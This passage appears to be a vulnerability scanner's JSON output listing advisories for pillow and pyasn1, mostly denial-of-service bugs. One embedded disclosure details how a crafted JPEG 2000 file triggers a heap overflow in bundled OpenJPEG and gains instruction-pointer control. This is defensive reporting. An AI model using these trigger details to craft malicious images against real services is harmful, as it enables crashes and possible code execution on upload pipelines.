"https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7", "https://github.com/python-pillow/Pillow/pull/10093", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2", "https://linux.oracle.com/cve/CVE-2026-96640.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-96640", "https://www.cve.org/CVERecord?id=CVE-2026-96640" ], "PublishedDate": "2026-10-21T21:20:32.357Z", "LastModifiedDate": "2026-10-28T02:17:07.99Z" }, { "VulnerabilityID": "CVE-2026-96642", "VendorIDs": [ "GHSA-3j72-p6qg-6xp7" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96642", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:06dd9c30165648c6db03b032c5f09ae49cda81a17857cc3022ddc4d0dd9949fe", "Title": "pillow: Pillow: Denial of Service via negative archive member size in TarIO", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96642", "https://advisory.echohq.com/cve/CVE-2026-96642", "https://github.com/advisories/GHSA-3j72-p6qg-6xp7", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d", "https://github.com/python-pillow/Pillow/pull/10012", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7", "https://nvd.nist.gov/vuln/detail/CVE-2026-96642", "https://www.cve.org/CVERecord?id=CVE-2026-96642" ], "PublishedDate": "2026-10-21T21:20:32.65Z", "LastModifiedDate": "2026-10-30T17:17:32.24Z" }, { "VulnerabilityID": "CVE-2026-96643", "VendorIDs": [ "GHSA-g4qv-2jxx-769h" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96643", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:92e508fc3ab271de172f8931d1bb2667c28bf85b9dceec93fd1b2f69dd469435", "Title": "pillow: pillow: Denial of Service via repeated EXIF headers", "Description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96643", "https://advisory.echohq.com/cve/CVE-2026-96643", "https://github.com/advisories/GHSA-g4qv-2jxx-769h", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c", "https://github.com/python-pillow/Pillow/pull/10073", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h", "https://nvd.nist.gov/vuln/detail/CVE-2026-96643", "https://www.cve.org/CVERecord?id=CVE-2026-96643" ], "PublishedDate": "2026-10-21T21:20:32.797Z", "LastModifiedDate": "2026-10-27T14:26:51.563Z" }, { "VulnerabilityID": "CVE-2026-96644", "VendorIDs": [ "GHSA-9v9v-9qvf-h2hj" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96644", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:9f8cf59d20cba6051cb251a7fc9544e25fc819db177ac7f15e1790e09b11277c", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in metafile parser", "Description": "Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96644", "https://advisory.echohq.com/cve/CVE-2026-96644", "https://github.com/advisories/GHSA-9v9v-9qvf-h2hj", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7", "https://github.com/python-pillow/Pillow/pull/10120", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj", "https://nvd.nist.gov/vuln/detail/CVE-2026-96644", "https://www.cve.org/CVERecord?id=CVE-2026-96644" ], "PublishedDate": "2026-10-21T21:20:32.943Z", "LastModifiedDate": "2026-10-28T19:19:28.633Z" }, { "VulnerabilityID": "CVE-2026-96778", "VendorIDs": [ "GHSA-g7cr-3p24-7wf7" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96778", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0245c0112169fb9a7e894a953bfe9bb4ed20ec9fa246fa93cab526231a1215e6", "Title": "pillow: pillow: Arbitrary code execution via JPEG encoder buffer overflow", "Description": "Pillow is a Python imaging library. From 9.4.0 until 13.0.0, ImagingJpegEncode() in src/libImaging/JpegEncode.c can call jpeg_write_marker() for a JPEG COM comment when an ICC profile has exactly filled the 65536-byte encoder buffer. libjpeg writes one byte before checking the exhausted free_in_buffer counter, which then wraps and permits the attacker-controlled comment and subsequent compressed image data to overwrite adjacent heap memory. Re-saving an untrusted image as JPEG while preserving its ICC profile and forwarded comment can crash the process and may enable code execution in suitable runtime and heap layouts. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96778", "https://advisory.echohq.com/cve/CVE-2026-96778", "https://github.com/advisories/GHSA-g7cr-3p24-7wf7", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b", "https://github.com/python-pillow/Pillow/pull/10124", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7", "https://nvd.nist.gov/vuln/detail/CVE-2026-96778", "https://www.cve.org/CVERecord?id=CVE-2026-96778" ], "PublishedDate": "2026-10-21T21:20:33.093Z", "LastModifiedDate": "2026-10-28T02:17:08.253Z" }, { "VulnerabilityID": "GHSA-78g4-xqwv-q3g8", "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-78g4-xqwv-q3g8", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:16118221e5e35525e6d6d49a13d42f4fd882e196ea1dd91239ce4037f3333d54", "Title": "Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()", "Description": "### Summary\n\nEvery Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219\n\nBecause the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.\n\nI am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users.\n\nNote the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure.\n\n### Details\n\n## Affected wheels\n\nFrom `.github/dependencies.json` (`openjpeg`) at each tag:\n\n| Pillow | bundled OpenJPEG | status |\n|---|---|---|\n| 10.4.0 | 2.5.2 | safe |\n| 11.0.0 | 2.5.2 | safe |\n| **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** |\n| **12.0.0 … 12.3.0** | **2.5.4** | **affected** |\n\nConfirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06.\n\n## The defect\n\n`src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`:\n\n```c\nOPJ_UINT32 l_current_tile_part =\n l_cstr_index-\u003etile_index[p_j2k-\u003em_current_tile_number].current_tpsno;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_pos =\n l_current_pos + p_j2k-\u003em_specific_param.m_decoder.m_sot_length + 2;\n```\n\n`tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker.\n\nThe correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index \u0026\u0026 l_current_tile_part \u003c nb_tps)`. One writer checked, its sibling not.\n\nReached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM \"valid\" and lets `TPsot` walk past the allocation.\n\n## Patch status\n\nFixed upstream in `91d08b11` (\"Fix heap buffer overlfow in opj_j2k_read_sod\", 2026-02-10).\n\nThe newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**.\n\n## Suggested remediation\n\n1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file.\n2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code.\n3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot.\n\n## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply\n\n`Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway.\n\nI verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`.\n\nThat is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume.\n\n### Proof of concept\n\nASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`:\n\n```\n==766332==ERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\n #0 opj_j2k_read_sod j2k.c:5086\n #1 opj_j2k_read_tile_header j2k.c:9912\n #2 opj_read_tile_header openjpeg.c:575\n #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793\n #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949\n #5 _decode src/decode.c:132\nlocated 8 bytes to the right of a 24-byte region allocated by\n opj_j2k_build_tp_index_from_tlm j2k.c:8939\n```\n\nFrames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure.\n\nI have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready.\n\nNo disclosure deadline from me; I will not publish anything while this is being worked on.\n\n### Impact\n\nAny application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file.\n\n**Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker.\n\n**Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls one (event.c:136):\n\n```\nrip 0x4000 \u003c- value chosen by the attacker's file layout\nrsi 0x3ff2 \u003c- m_error_data, written by the same walk\n```\n\nShifting the codestream with a COM marker moves `rip` with it (`0x16ce` → `0x4000`), so the instruction pointer is attacker-**chosen** rather than incidentally invalid. A benign control image leaves the same groomed heap untouched.\n\nTo be explicit about what I did not do: I have **not** built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-78g4-xqwv-q3g8", "https://github.com/advisories/GHSA-78g4-xqwv-q3g8", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/5f8114c8096b181fae493543cd3837d9f9a971cc", "https://github.com/python-pillow/Pillow/commit/d3470c327840f4c216a1610f30e7091dfd0b97c0", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-78g4-xqwv-q3g8", "https://github.com/uclouvain/openjpeg/commit/91d08b11a72764f6d199f32fa0c1b1abd4edc2ad", "https://osv.dev/vulnerability/OSV-2025-219" ], "PublishedDate": "2026-10-22T17:01:08Z", "LastModifiedDate": "2026-10-22T17:01:08Z" }, { "VulnerabilityID": "CVE-2026-119194", "VendorIDs": [ "GHSA-fm9c-5rcf-2q5p" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119194", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1d0988b0e6cfa712e73ee925762ef572eade96d8a6312ecc22686c43ebc3a6ef", "Title": "pyasn1: pyasn1: Denial of Service via hash collisions in schemaless decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119194", "https://advisory.echohq.com/cve/CVE-2026-119194", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p", "https://nvd.nist.gov/vuln/detail/CVE-2026-119194", "https://www.cve.org/CVERecord?id=CVE-2026-119194" ], "PublishedDate": "2026-10-29T20:17:30.48Z", "LastModifiedDate": "2026-11-03T17:18:03.863Z" }, { "VulnerabilityID": "CVE-2026-119195", "VendorIDs": [ "GHSA-9m75-vc3g-4x39" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119195", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:72c05d8ab116988d7740965c9c17920c543c60792fcfe181c858bcf0fe011d8f", "Title": "pyasn1: pyasn1: Denial of Service via quadratic processing of fragmented ASN.1 data", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed string and indefinite-length ANY decoding repeatedly concatenates each fragment onto a growing bytes value. Attacker-controlled BER or CER data can use many constructed OCTET STRING or character-string fragments. DER rejects constructed OCTET STRING without a schema, but accepts its definite-length form when asn1Spec selects univ.OctetString; it also accepts constructed character strings such as UTF8String without a schema, even though those encodings are not valid DER. The separate indefinite-length ANY path is reachable in BER and CER when asn1Spec selects univ.Any; DER rejects indefinite lengths. OctetStringPayloadDecoder uses growing header concatenation and AnyPayloadDecoder.indefLenValueDecoder uses growing chunk concatenation, repeatedly copying an increasing prefix and causing quadratic work. A sufficiently fragmented value can occupy decoding workers and cause CPU exhaustion without confidentiality or integrity impact. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119195", "https://advisory.echohq.com/cve/CVE-2026-119195", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39", "https://nvd.nist.gov/vuln/detail/CVE-2026-119195", "https://www.cve.org/CVERecord?id=CVE-2026-119195" ], "PublishedDate": "2026-10-29T20:17:30.633Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2026-119196", "VendorIDs": [ "GHSA-2qm8-x737-gmw5" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119196", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ee00b2bf0757fb59e90aa0eeeaa79bbdd8244d0295ee0ace95d8c70de8dcc46a", "Title": "pyasn1: pyasn1: Denial of Service via constructed bit string decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed BIT STRING decoding repeatedly shifts and copies the complete bit value accumulated from earlier fragments. Attacker-controlled BER or CER input contains many constructed BIT STRING fragments; schema-driven DER also accepts a definite-length constructed BIT STRING. BitStringPayloadDecoder repeatedly calls BitString.fromOctetString with the prior bitString as prepend, shifting an ever-growing SizedInteger for each fragment and causing quadratic work. Large fragmented values can exhaust CPU during decode() without requiring later conversion or formatting. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119196", "https://advisory.echohq.com/cve/CVE-2026-119196", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5", "https://nvd.nist.gov/vuln/detail/CVE-2026-119196", "https://www.cve.org/CVERecord?id=CVE-2026-119196" ], "PublishedDate": "2026-10-29T20:17:30.77Z", "LastModifiedDate": "2026-11-04T02:17:18.177Z" }, { "VulnerabilityID": "CVE-2026-119197", "VendorIDs": [ "GHSA-mm57-4v3p-rchx" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119197", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6b5b014389f0122e4ce739c3de3fd97f8406386f6198f0c176d2a46630d0a8ba", "Title": "pyasn1: pyasn1: Denial of Service via quadratic complexity in binary REAL decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, binary REAL decoding builds a large mantissa one octet at a time by shifting a growing integer and slicing the remaining byte string. Attacker-controlled ASN.1 includes a binary-encoded REAL with a large mantissa and reaches BER, CER, or DER decode(), with or without a schema containing REAL. RealPayloadDecoder.valueDecoder repeatedly performs a left shift, OR, and suffix copy for every mantissa octet, making decode time quadratic in mantissa length. A comparatively small REAL value can hold a decoding worker on one CPU core for seconds or longer and cause availability loss. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, 